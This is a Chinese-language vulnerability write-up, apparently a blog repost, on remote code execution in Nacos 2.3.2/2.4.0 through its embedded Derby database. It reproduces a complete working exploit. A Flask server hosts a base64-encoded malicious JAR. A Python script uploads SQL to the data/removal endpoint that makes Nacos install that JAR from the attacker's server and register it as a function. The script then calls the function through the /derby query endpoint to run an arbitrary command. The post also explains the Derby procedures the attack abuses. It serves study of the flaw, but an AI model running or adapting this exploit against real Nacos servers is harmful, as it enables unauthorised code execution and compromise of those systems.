Nacos昨天爆出了一个漏洞poc:https://github.com/ayoundzw/nacos-poc。涉及两个路径

/nacos/v1/cs/ops/data/removal
nacos/v1/cs/ops/derby

其中第二个路径之前出现过漏洞:https://github.com/alibaba/nacos/issues/4463,对应编号CVE-2021-29442。漏洞成因是,Nacos当时的版本是有鉴权的,但是这个路径没有添加@Secured注解,可以未授权访问,并且可以用这个功能执行sql语句。该路径所在的ConfigOpsController类就是用于数据库管理。后来修复:https://github.com/alibaba/nacos/pull/4517对这个路径增加了注解,要求admin用户权限。也就是需要登录后台才能访问了。

    @GetMapping(value = "/derby")
    @Secured(action = ActionTypes.READ, resource = "nacos/admin")
    public RestResult<Object> derbyOps(@RequestParam(value = "sql") String sql) {...}

但是有意思的是,由于后来版本的鉴权在配置文件中包含默认的用户名、密码、key,导致了权限和认证绕过漏洞。参考:https://github.com/ax1sX/SecurityList/blob/main/Java_OA/NacosAudit.md。官方就干脆默认安装的时候不开启鉴权,让用户自己去配置,杜绝默认的用户名密码问题。但这也就意味着新版本中,默认是不开鉴权的,如果用户没有去配置鉴权,那上面CVE-2021-29442的路径还能利用。但是这个路径只支持select查询,无法实现RCE。

这个漏洞就配合了第一个路径,先将jar文件存储到数据库中,实现自定义函数,然后利用自定义函数实现RCE。写这篇文章就是因为第一步中对于derby攻击的利用方式是有通用的借鉴意义的。

漏洞复现

从github上https://github.com/alibaba/nacos/releases下载2.3.2或2.4.0版本,然后在bin目录下执行sh startup.sh -m standalone

PS:如果想要开启调试,需按下图更改startup.sh文件后再执行sh startup.sh -m standalone
加入调试

先启动service.py,脚本启动了一个web服务器,并且设置了一个路由/download

import base64
from flask import Flask, send_file,Response
import config

payload = b'base64'

app = Flask(__name__)

@app.route('/download')
def download_file():
    data = base64.b64decode(payload)
    print(data)
    response = Response(data, mimetype="application/octet-stream")
    return response

if __name__ == '__main__':
    app.run(host=config.server_host, port=config.server_port)

头部的import config,就是引入config.py的配置,定义了在什么ip和端口下起这个服务器。

server_host = '127.0.0.1'
server_port = 5000

payload实际就是一个jar文件的base64编码。可以用如下代码将其还原成jar包

import java.io.FileOutputStream;
import java.io.IOException;
import java.util.Base64;

public class Base64ToJar {
    public static void main(String[] args) {
        String base64String = "base64_string";
        byte[] jarBytes = Base64.getDecoder().decode(base64String);
        String jarFilePath = "output.jar";

        try (FileOutputStream fos = new FileOutputStream(jarFilePath)) {
            fos.write(jarBytes);
            System.out.println("JAR文件已成功生成: " + jarFilePath);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

对应的jar包如下

jar包内容

然后执行攻击脚本

import random
import sys
import requests
from urllib.parse import urljoin
import config


# 按装订区域中的绿色按钮以运行脚本。
def exploit(target, command, service):
    removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')
    derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
    for i in range(0,sys.maxsize):
        id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
        post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n
        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n
        CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id,service=service);
        option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')\n".format(id=id,cmd=command);
        get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id,cmd=command);
        files = {'file': post_sql}
        post_resp = requests.post(url=removal_url,files=files)
        post_json = post_resp.json()
        if post_json.get('message',None) is None and post_json.get('data',None) is not None:
            print(post_resp.text)
            get_resp = requests.get(url=derby_url,params={'sql':get_sql})
            print(get_resp.text)
            break


if __name__ == '__main__':
    service = 'http://{host}:{port}/download'.format(host=config.server_host,port=config.server_port)
    target = 'http://127.0.0.1:8848'
    command = 'open -a Calculator'
    target = input('请输入目录URL,默认:http://127.0.0.1:8848:') or target
    command = input('请输入命令,默认:open -a Calculator:') or command
    exploit(target=target, command=command,service=service)

脚本执行结果如下。

漏洞复现

漏洞分析

先看看exploit中的第一步对/nacos/v1/cs/ops/data/removal路径发起POST请求。根据路由定位到ConfigOpsController。注释的意思是这类方法是将外部数据源被导入到derby中。
ConfigOpsController

代码首先判断了是否为embedded storage mode,想要不执行if中的代码就要求单机模式启动,单机模式启动时为standalone Mode,也就对应了漏洞复现时要求环境启动语句添加参数sh startup.sh -m standalone

然后执行文件上传,这里文件上传成功后会执行回调函数。也就是file -> {...中的内容。回调函数中调用 databaseOperate.dataImport(file) 方法,将文件数据导入数据库。

dataImport

dataImport()方法异步执行任务,逐行读取文件中的内容,将非空的内容放入batchUpdate这个列表变量中暂存。然后异步执行批量导入操作doDataImport(),将结果存储到results列表中。等所有异步任务完成,如果所有任务都成功,即results中没有false,那么返回状态码200,否则返回500。

逻辑很简单,上传sql语句,然后批量执行sql。poc中一共上传了三句sql。这就需要了解一下derby的语法,了解这三句sql分别有什么作用。

derby RCE

Apache Derby是一个开源的关系数据库管理系统 (RDBMS),它使用 Java 编写。Derby的特点就是轻量级,占用的内存小,适合嵌入式应用,所有的功能都可以嵌入到java应用中运行。加入要开发嵌入式设备,在设备上存储数据和用户信息,就可以选用Derby嵌入式数据库,通过API在设备上管理数据而不需要复杂的数据库管理和配置。

查看derby的官方文档

1. CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n
2. CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n
3. CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id,service=service);
  1. https://db.apache.org/derby/docs/10.9/ref/rrefstorejarinstall.html
    SQLJ.INSTALL_JAR是一个存储过程函数,将jar文件存储在数据库中。此功能一般用于扩展数据库或自定义功能。可以让jar文件中的类和方法在数据库执行sql和存储过程中使用。

SQLJ.INSTALL_JAR用法示例

第一个参数是要安装的jar文件的位置。第二个参数是安装后在数据库中使用的名称,一般为架构名称.ID。第三个参数是标志位,表示如果已经存在同名文件是否覆盖。0表示不覆盖。

  1. https://db.apache.org/derby/docs/10.1/ref/rrefsetdbpropproc.html
    SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY系统过程用于设置或删除当前连接上数据库的属性值。用法就是key:value。在这里就是将derby.database.classpath属性改为了jar安装后的名称NACOS.{id}

  2. https://db.apache.org/derby/docs/10.4/ref/rrefcreatefunctionstatement.html
    CREATE FUNCTION语句允许创建 Java 函数,然后可以在表达式中使用这些函数。但是函数中要求必须包含以下三个元素。
    CREATE FUNCTION函数要求
    LANGUAGE一般为JAVAEXTERNAL NAME代表函数执行时要调用的Java方法,格式为类名.方法名PARAMETER STYLE一般来说都是JAVA

CREATE FUNCTION示例

POC样式如下,EXTERNAL NAME就是jar包中类的全限定类名。

CREATE FUNCTION S_EXAMPLE_{id}
( PARAM VARCHAR(2000)) 
RETURNS VARCHAR(2000) 
PARAMETER STYLE JAVA 
NO SQL LANGUAGE JAVA 
EXTERNAL NAME 'test.poc.Example.exec'

那么总结上述三步,就是将读入的jar包安装到数据库中,并且将数据库连接属性值改为该jar包名称。然后创建自定义函数。

由于这步可以导入任何sql语句,那么理论上还可以在创建Funtion或Procedure后,直接执行Call Procedure。但是实际在Nacos下测试时这步会返回500。

触发自定义函数

/derby路径下的函数如下,该方法主要用于Derby数据库的查询操作,确保只执行SELECT语句,并在必要时添加分页限制。如果当前存储模式不是 Derby 或者遇到异常,方法会返回相应的错误信息。

/derby

在Java应用程序中使用JDBC API调用Derby的存储过程和函数会触发相应的函数执行。

附录

教一下如何把class打成jar包。

打jar包

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐